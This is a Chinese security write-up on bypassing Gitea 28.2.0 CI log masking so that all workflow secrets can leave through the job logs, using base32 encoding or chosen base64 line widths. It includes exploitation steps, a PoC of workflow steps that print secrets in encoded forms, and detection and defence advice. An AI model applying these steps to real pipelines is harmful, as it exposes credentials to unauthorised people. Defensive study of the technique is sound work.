CI 日志脱敏绕过:base32 不在掩码变体集合内,base64 折行反被 4 字符分组对齐规则啃成残片(Gitea 28.2.0 实测)
cloud/ci-cd · verified
一句话结论
Gitea 28.2.0 的 CI 日志脱敏只注册「密钥原值 + 标准 base64」并按“整串优先、失败后退化为 4 字符分组对齐且不短于 12 字符”的规则替换;base32 不在变体集合内,完整的 toJSON(secrets) 用 base32 输出可零替换带走,而 base64 折行(行长 ≥12 且为 4 的倍数)会被逐行啃成 "S26"、空串这类残片。
原理
原文在自建 Gitea 28.2.0 上用探针作业测绘出三条匹配规则:
- 变体集合:注册项 = 密钥原值 + 其标准 base64 变体(带填充、单行连续出现才命中)。base32、hex 等不在预计算集合内。
- 子串替换:命中段替换为
***,是纯字符串处理,不理解语义;折行、分片会切断连续匹配。 - 退化匹配与阈值:整段变体未命中时,引擎按 base64 四字符分组做对齐最长匹配,长度阈值 12 个 base64 字符(3 个完整分组、约 9 字节明文),且起点必须对齐到分组边界;低于阈值或错开一位都不替换。
实测的十一种输出形态中,原值与标准 base64 单行被脱敏;base32、hex、fold -w 8 分片、大小写互换、反转、base64 URL-safe、base64 折行均未完整脱敏。base64 去填充形态出现“部分命中”(如 U0FO***fg),证明退化规则按 4 字符分组啃食。
载荷尺度决定编码选择:Gheist 打印的是整份 toJSON(secrets)(几百字节 JSON),不是单枚短密钥:
base32 -w 120 -> 1192 字符,替换 0 处,完整还原 DB_PASSWORD
base64 -w 120 -> 757 字符,替换 7 处,DB_PASSWORD 只剩 "S26"
base64 -w 480 -> 650 字符,替换 8 处,DB_PASSWORD "S26"、DEPLOY_TOKEN 空串
原因:base64 折行后每行行首都是 4 字符分组对齐起点,且 120/480 都是 4 的倍数、远超 12 字符阈值,于是每一行都被退化规则啃掉一段;base32 不在变体集合内,退化规则无从触发。反过来 base64 -w 10 每行只有 10 字符,低于阈值,整行逃逸——折行既可能救下密文,也可能毁掉密文,分界线就是 12 字符阈值与 4 字符分组对齐。
因此攻击者选择编码的约束是:不在平台脱敏预计算集合内、字母表能安全穿过分支名/文件名/URL 的受限字符集。base32 同时满足两条(A-Z、2-7、=),base64 既在集合内又带 +、/、=。
触发条件
- 目标平台的日志脱敏实现与实测一致(Gitea 28.2.0 为原文实测版本;其他平台需按同样方法重新测绘)。
- 攻击者可让作业把 secrets 输出到运行日志(具备仓库写权限并 push workflow)。
- 输出内容与密钥原值/标准 base64 不构成整串连续匹配;选择 base32 或控制折行宽度可稳定绕过。
- 该规则只作用于日志显示层,不影响 secrets 实际注入与读取。
利用步骤
- 在目标平台建探针分支,用若干步骤输出同一枚测试密钥的不同变换:原值、base32、base64(单行/不同
-w折行)、hex、分片、大小写互换、反转、去填充/URL-safe。 - 观察运行日志中哪些被替换成
***、哪些部分命中,确定该平台的变体集合、是否按 4 字符分组退化、阈值是多少字符。 - 选择不在变体集合内的编码(通常 base32);若只能用 base64,则用小于阈值的行长折行(如
-w 10)使每行逃逸,或避开 4 的倍数对齐。 - 按选定编码输出整份
toJSON(secrets)与环境变量,按填充符分段;回传端解码还原。 - 用测绘结论评估其他平台:同一套探针可在几分钟内得出该平台专属的脱敏边界。
PoC
# 探针:同一密钥的多种变换(原文节选)
- name: V1 plaintext
run: echo "V1 ${{ secrets.DB_PASSWORD }}"
- name: V2 base32
run: echo -n "${{ secrets.DB_PASSWORD }}" | base32 -w 120; echo
- name: V3 base64
run: echo -n "${{ secrets.DB_PASSWORD }}" | base64 -w 120; echo
- name: V4 hex
run: echo -n "${{ secrets.DB_PASSWORD }}" | od -An -tx1 | tr -d ' \n'; echo
- name: V5 chunked
run: echo "${{ secrets.DB_PASSWORD }}" | fold -w 8
- name: V6 case swap
run: echo "${{ secrets.DB_PASSWORD }}" | tr 'A-Za-z' 'a-zA-Z'; echo
- name: V7 reversed
run: echo -n "${{ secrets.DB_PASSWORD }}" | rev; echo
# 分组对齐对照(同一 base64 变体的子串)
P1[REJPWC1Qdz8+] -> P1[***] 12 字符、对齐起点:命中
P2[REJPWC1Qdz8] -> P2[REJPWC1Qdz8] 11 字符:未命中
P5[EJPWC1Qdz8+] -> P5[EJPWC1Qdz8+] 11 字符且非对齐起点:未命中
P6[REJPWC1Qdz8+fg] -> P6[***fg] 14 字符,仅前 12 字符对齐段被替换
变体与关联
- 未脱敏形态:base32(任意折行)、hex、
fold -w 8分片、大小写互换、反转、base64 URL-safe、base64 折行;base64 去填充会部分命中。 - 折行双刃:
-w 10低于阈值逃逸;-w 120/480(≥阈值且 4 的倍数)逐行被啃。 - 完整外带链见 [[cloud-cicd-actions-log-base32-secret-exfiltration-no-c2]]。
- 检测侧应对:金丝雀“先解码再比对”,不依赖编码指纹;静态规则检测
secrets引用与编码命令同现。
检测与防御
- 检测:不要把“日志里出现高熵/编码串”当判据——合法作业中 base32/base64 随处可见;应检测
secrets上下文被编码后输出(静态规则 + 变更来源上下文),并对日志做解码后的金丝雀比对。 - 防御:不要依赖平台脱敏保护密钥;收敛能写 workflow 的权限;密钥分域与环境隔离;部署业务不引用的金丝雀密钥;发现编码外带后立即轮换全部可达密钥。
- 平台侧:脱敏应覆盖常见编码变体并作用于解码后内容,但根本上仍应把 secrets 隔离在不可被任意 workflow 读取的边界内。